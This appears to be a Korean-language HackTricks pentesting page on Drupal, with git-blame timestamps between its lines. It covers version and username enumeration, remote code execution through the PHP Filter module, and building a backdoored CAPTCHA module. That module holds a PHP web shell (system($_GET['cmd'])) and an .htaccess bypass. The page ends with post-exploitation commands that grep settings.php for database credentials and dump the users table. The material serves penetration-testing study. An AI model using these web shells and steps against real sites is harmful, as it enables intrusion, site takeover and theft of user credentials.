2022-04-28 23:27:22 +00:00
# Drupal
2022-04-28 16:01:33 +00:00
< details >
2024-05-05 22:46:17 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-05-05 22:46:17 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-05-05 22:46:17 +00:00
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
2024-05-02 15:11:39 +00:00
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
2024-04-07 23:01:30 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-05-05 22:46:17 +00:00
* **💬 [Discord 그룹 ](https://discord.gg/hRep4RUj7f )** 또는 [텔레그램 그룹 ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )을 **팔로우**하세요.
2024-05-02 15:11:39 +00:00
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-05-02 15:11:39 +00:00
< figure > < img src = "https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-07 23:01:30 +00:00
{% embed url="https://websec.nl/" %}
2022-10-02 23:08:05 +00:00
## Discovery
2024-05-02 15:11:39 +00:00
* **메타**를 확인하세요
2022-10-02 23:08:05 +00:00
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
2024-04-07 23:01:30 +00:00
* **Node**: Drupal은 **콘텐츠를 노드로 색인화**합니다. 노드는 블로그 글, 투표, 기사 등과 같은 **모든 것을 보유**할 수 있습니다. 페이지 URI는 일반적으로 `/node/<nodeid>` 형식입니다.
2022-10-02 23:08:05 +00:00
```bash
curl drupal-site.com/node/1
```
2024-02-10 21:30:13 +00:00
## 열거
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
Drupal은 기본적으로 **세 가지 유형의 사용자**를 지원합니다:
2022-10-02 23:08:05 +00:00
2024-04-07 23:01:30 +00:00
1. ** `관리자` **: 이 사용자는 Drupal 웹사이트를 완전히 제어할 수 있습니다.
2024-05-05 22:46:17 +00:00
2. ** `인증된 사용자` **: 이러한 사용자는 웹사이트에 로그인하여 권한에 따라 기사를 추가하고 편집하는 작업을 수행할 수 있습니다.
2024-04-07 23:01:30 +00:00
3. ** `익명` **: 모든 웹사이트 방문자는 익명으로 지정됩니다. 기본적으로 이러한 사용자는 게시물을 읽는 것만 허용됩니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
### 버전
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
* `/CHANGELOG.txt` 를 확인하세요.
2022-10-02 23:08:05 +00:00
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
2024-05-02 15:11:39 +00:00
드루팔의 최신 설치판은 기본적으로 `CHANGELOG.txt` 및 `README.txt` 파일에 대한 액세스를 차단합니다.
2022-10-02 23:08:05 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
### 사용자 이름 열거
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
#### 등록
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
_ /user/register_에서 사용자 이름을 만들려고 시도하고 이름이 이미 사용 중이면 알림이 표시됩니다:
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
![](< .. / . . / . gitbook / assets / image ( 328 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
#### 새 비밀번호 요청
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
기존 사용자 이름에 대해 새 비밀번호를 요청하는 경우:
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
![](< .. / . . / . gitbook / assets / image ( 903 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
존재하지 않는 사용자 이름에 대해 새 비밀번호를 요청하는 경우:
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
![](< .. / . . / . gitbook / assets / image ( 307 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
### 사용자 수 가져오기
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
_ /user/\<number>_에 액세스하여 기존 사용자 수를 볼 수 있습니다. 이 경우 _/users/3_은 찾을 수 없음 오류를 반환합니다:
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
![](< .. / . . / . gitbook / assets / image ( 333 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 23:01:30 +00:00
![](< .. / . . / . gitbook / assets / image ( 227 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
### 숨겨진 페이지
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
**`/node/$`로 퍼징하십시오. 여기서 `$` 는 숫자** (예: 1에서 500까지).\
2024-02-10 21:30:13 +00:00
검색 엔진에서 참조되지 않는 **숨겨진 페이지** (테스트, 개발)를 찾을 수 있습니다.
2021-09-20 10:57:53 +00:00
2024-02-10 21:30:13 +00:00
#### 설치된 모듈 정보
2021-09-20 10:57:53 +00:00
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
2024-05-02 15:11:39 +00:00
### 자동
2022-10-02 23:08:05 +00:00
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
2024-05-05 22:46:17 +00:00
### PHP 필터 모듈을 사용한 방법
2022-10-02 23:08:05 +00:00
{% hint style="warning" %}
2024-05-02 15:11:39 +00:00
Drupal의 **이전 버전** (버전 8 이전)에서는 관리자로 로그인하여 ** `PHP 필터` 모듈을 활성화**할 수 있었으며, 이 모듈은 "내장 PHP 코드/스니펫을 평가할 수 있게 합니다."
2022-10-02 23:08:05 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
**플러그인 php가 설치되어 있어야** 합니다( _/modules/php_에 액세스하여 **403**이 반환되면 **설치된 것**이고, **찾을 수 없으면** 플러그인 php가 **설치되지 않은 것**입니다)
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
_Modules_로 이동 -> (**확인**) _PHP Filter_ -> _구성 저장_
2020-07-15 15:43:14 +00:00
2023-06-06 22:57:49 +00:00
![](< .. / . . / . gitbook / assets / image ( 247 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 23:01:30 +00:00
그런 다음 _콘텐츠 추가_를 클릭 -> _기본 페이지_ 또는 _기사 선택_ -> _본문에 php 쉘코드 작성_ -> _텍스트 형식_에서 _PHP 코드_ 선택 -> _미리 보기_ 선택
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
![](< .. / . . / . gitbook / assets / image ( 338 ) . png > )
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
마지막으로 방금 생성한 노드에 액세스하십시오:
2022-10-02 23:08:05 +00:00
```bash
curl http://drupal-site.local/node/3
```
2024-02-10 21:30:13 +00:00
### PHP 필터 모듈 설치
2022-10-02 23:08:05 +00:00
2024-05-05 22:46:17 +00:00
버전 **8부터**는 [**PHP 필터** ](https://www.drupal.org/project/php/releases/8.x-1.1) **모듈이 기본으로 설치되지 않습니다** . 이 기능을 활용하려면 **모듈을 직접 설치해야 합니다** .
2022-10-02 23:08:05 +00:00
2024-04-07 23:01:30 +00:00
1. Drupal 웹사이트에서 모듈의 최신 버전을 다운로드합니다.
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. 다운로드가 완료되면 ** `관리` ** > ** `보고서` ** > ** `사용 가능한 업데이트` **로 이동합니다.
4. ** `찾아보기` **를 클릭하여 다운로드한 디렉토리에서 파일을 선택한 후 ** `설치` **를 클릭합니다.
2024-05-05 22:46:17 +00:00
5. 모듈이 설치되면 ** `콘텐츠` **를 클릭하고 **Drupal 7 예제에서 했던 것과 유사하게 새 기본 페이지를 생성**합니다. 다시 한번 ** `텍스트 형식` 드롭다운에서 `PHP 코드` 를 선택**해야 합니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
### 백도어 모듈
2022-10-02 23:08:05 +00:00
2024-04-07 23:01:30 +00:00
백도어 모듈은 **기존 모듈에 쉘을 추가하여 생성**할 수 있습니다. 모듈은 drupal.org 웹사이트에서 찾을 수 있습니다. [CAPTCHA ](https://www.drupal.org/project/captcha )와 같은 모듈을 선택해 보겠습니다. 아래 링크에서 tar.gz [아카이브 ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz ) 링크를 복사합니다.
2022-10-02 23:08:05 +00:00
2024-04-07 23:01:30 +00:00
* 아카이브를 다운로드하고 내용을 추출합니다.
2022-10-02 23:08:05 +00:00
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
2024-04-07 23:01:30 +00:00
* 다음 내용으로 **PHP 웹 쉘**을 생성하십시오:
2022-10-02 23:08:05 +00:00
```php
< ?php
system($_GET["cmd"]);
?>
```
2024-05-05 22:46:17 +00:00
* 다음으로, 우리는 폴더에 접근할 수 있도록 ** `.htaccess` ** 파일을 생성해야 합니다. 이것은 Drupal이 ** `/modules` ** 폴더에 직접 액세스하는 것을 거부하기 때문에 필요합니다.
2022-10-02 23:08:05 +00:00
```html
< IfModule mod_rewrite . c >
RewriteEngine On
RewriteBase /
< / IfModule >
```
2024-05-05 22:46:17 +00:00
* 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더로 복사하고 아카이브를 만듭니다.
2022-10-02 23:08:05 +00:00
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
2024-05-05 22:46:17 +00:00
* 웹 사이트에 **관리자 액세스**가 있다고 가정하고, 사이드바에서 ** `관리` **를 클릭한 다음 ** `확장` **을 클릭합니다. 그다음 ** `+ 새 모듈 설치` ** 버튼을 클릭하면 설치 페이지로 이동하게 되며, `http://drupal-site.local/admin/modules/install` 과 같은 페이지로 이동합니다. 백도어가 설치된 Captcha 아카이브로 이동하여 ** `설치` **를 클릭합니다.
2024-04-07 23:01:30 +00:00
* 설치가 성공하면 ** `/modules/captcha/shell.php` **로 이동하여 명령을 실행합니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
## 사후 침투
2021-04-01 21:42:37 +00:00
2024-02-10 21:30:13 +00:00
### settings.php 읽기
2021-10-18 11:21:18 +00:00
```
2021-04-01 21:42:37 +00:00
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
2024-04-07 23:01:30 +00:00
### 데이터베이스에서 사용자 덤프하기
2021-10-18 11:21:18 +00:00
```
2021-04-01 21:42:37 +00:00
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
2024-02-10 21:30:13 +00:00
## 참고 자료
2022-10-02 23:08:05 +00:00
* [https://academy.hackthebox.com/module/113/section/1209 ](https://academy.hackthebox.com/module/113/section/1209 )
2024-05-02 15:11:39 +00:00
< figure > < img src = "https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-07 23:01:30 +00:00
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
< details >
2024-05-02 15:11:39 +00:00
< summary > < strong > 제로부터 영웅이 될 때까지 AWS 해킹 배우기< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-05-05 22:46:17 +00:00
* **회사가 HackTricks를 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
2024-04-07 23:01:30 +00:00
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
2024-05-02 15:11:39 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-05-05 22:46:17 +00:00
* **💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f )에 가입하거나 [**텔레그램 그룹** ](https://t.me/peass )에 가입하거나** 트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
2022-04-28 16:01:33 +00:00
< / details >